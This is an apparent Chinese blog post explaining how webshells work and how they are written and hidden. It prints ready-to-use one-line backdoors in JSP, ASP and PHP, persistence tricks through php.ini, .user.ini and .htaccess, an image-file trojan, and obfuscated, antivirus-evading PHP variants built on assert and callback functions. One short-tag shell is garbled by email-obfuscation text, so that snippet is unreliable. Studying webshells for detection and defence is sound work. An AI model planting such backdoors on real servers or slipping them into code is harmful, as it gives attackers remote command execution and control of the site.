个人对于webshell的理解
0x001.前言简介
webshell是以asp、php、jsp等网页文件形式存在的一种命令执行环境,也称其为一种网页后门。一般说来,当Hacker入侵一个网站后,会把这些asp、php木马的后门文件放在该网站的web目录中,和正常的网页文件混杂,其命名可能和正常的文件命名很类似,让人无法第一眼通过文件名判断其为后门文件。然后呢,他就可以利用web请求的方式,用asp或者php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等一系列操作。
0x002.webshell的分类
a.根据文件大小分类:大马和小马(通常指的是一句话木马,能够使用菜刀这类工具去直接连接它)
b.根据脚本名称分类:jsp、asp、aspx、php
jsp的简单的webshell:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
asp的简单的webshell:
success!!!!<%eval request("cmd")%>
php的简单的webshell:
<?php
$a=exec($_GET["input"]);
echo $a;
?>
0x003.webshell的原理
- 可执行脚本
a.HTTP数据包($_GET
、$_POST
、$_COOKIES
、$_SERVER[args]
等) - 数据传递
- 执行传递的数据
a.直接执行(eval、system、passthru等)
b.文件包含执行(include、require等)
c.动态函数执行($a="phpinfo";$a();
)
d.Curly Syntax执行(${‘ls’})
e.preg_replace(第一个参数存在’/e’)
f.ob_start函数
g.回调函数(array_map等)
h.反序列化(unserialize等)
0x004.webshell常见的类型
1.php.ini隐藏后门
auto_prepend file="/tmp/caidao.php"
auto_append file="/tmp/caidao.php"
这两种都是相当于在php脚本头部include。
注:auto_prepend_file 与 auto_append_file 只能require一个php文件,但在这个php文件内可以require多个其他的php文件。
2..htaccess构成php后门
<FilesMatch "abc.jpg">//上传特定的文件只把它解析成为php
SetHandler application/x-httpd-php
</FilesMatch>
php_flag engine 1
1、AddHandler(AddHander php5-script .logs)
2、AddType application/x-httpd-php .png
3、SetHandler(<FilesMatch “_php.gif”>SetHandler application/x-httpd-php</FilesMatch>)
4、php_value auto_append_file /tmp/caidao.php
3.user.ini隐藏后门(不需重启)
除了主php.ini之外,PHP还会在每个目录下扫描ini文件,从被执行的PHP文件所在目录开始一直上升到web根目录($_SERVER[‘DOCUMENT_ROOT’]
所指定的)。如果被执行的PHP文件在web根目录之外,则只扫描该目录。利用方式与php.ini相似。
auto_prepend_file="/tmp/caidao.php" 相当于在php脚本头部include
auto_append_file="/tmp/caidao.php" 相当于在php脚本底部include
4.PHP代码开始标志缩写
将php.ini的short_open_tag参数设为On
<?=($_aaa@qq.com$_GET[2])aaa@qq.com$_($_GET[1])?>
5.图片木马
<?php
$wp__theme_icon=create_function('',file_get_contents('hacker.gif'));
$wp__theme_icon();
?>
注:这种方法不允许图片中有非法数据
0x005.webshell的编写
- 执行系统命令函数
a.exec,shell_exec
b.passthru,system
举一个例子:
<?php
exec($_GET['input']);
?>
http://localhost/test/exec.php?input=whoami
2. 执行php语句函数
a.eval,assert
b.ob_start
举例:
<?php
$a = $_GET['i1'];
ob_start($a);
echo $_GET['i2'];
ob_end_flush();
?>
上传后,利用菜刀连接就行。
- 混淆代码
a.利用注释符 /**/
b.利用 . 连接号
c.利用()
d.编码函数
举例:
<?php
$b = “a”.“s”.“s”.“e”.“r”.“t”;$b($_GET[‘a’]);
?>
5.免杀shell
a.php中call_user_func是执行回调函数的标准方法,是一个比较老的后门:
call_user_func('assert', $_REQUEST['pass']);
assert直接作为函数使用,然后$_REQUEST[‘pass’]
作为assert的参数调用;(php版本低) call_user_func_array(‘assert’, array($_REQUEST[‘pass’]));
(php版本低)
b.uksort()函数:通过用户自定义的比较函数对数组按键名进行排序。
c.assert()函数:在5.4.8版本之后,增加了参数descript。该参数可回调。bool assert ( mixed $assertion [, string $description ] )
<?php
$a = $_REQUEST['a'];
$arr = array('haha' => 88, $_REQUEST['ok'] => 88);
uksort($arr, $a);
?>
大概的基本上就是这些内容,对于未提及的需要继续加深学习,去了解新的webshell的构造,以及后续的绕过WAF的编写,就这样吧!
上一篇: PHPCMS v9.2.4文件上传漏洞分析【附Exploit】
下一篇: 在线生成反向shell命令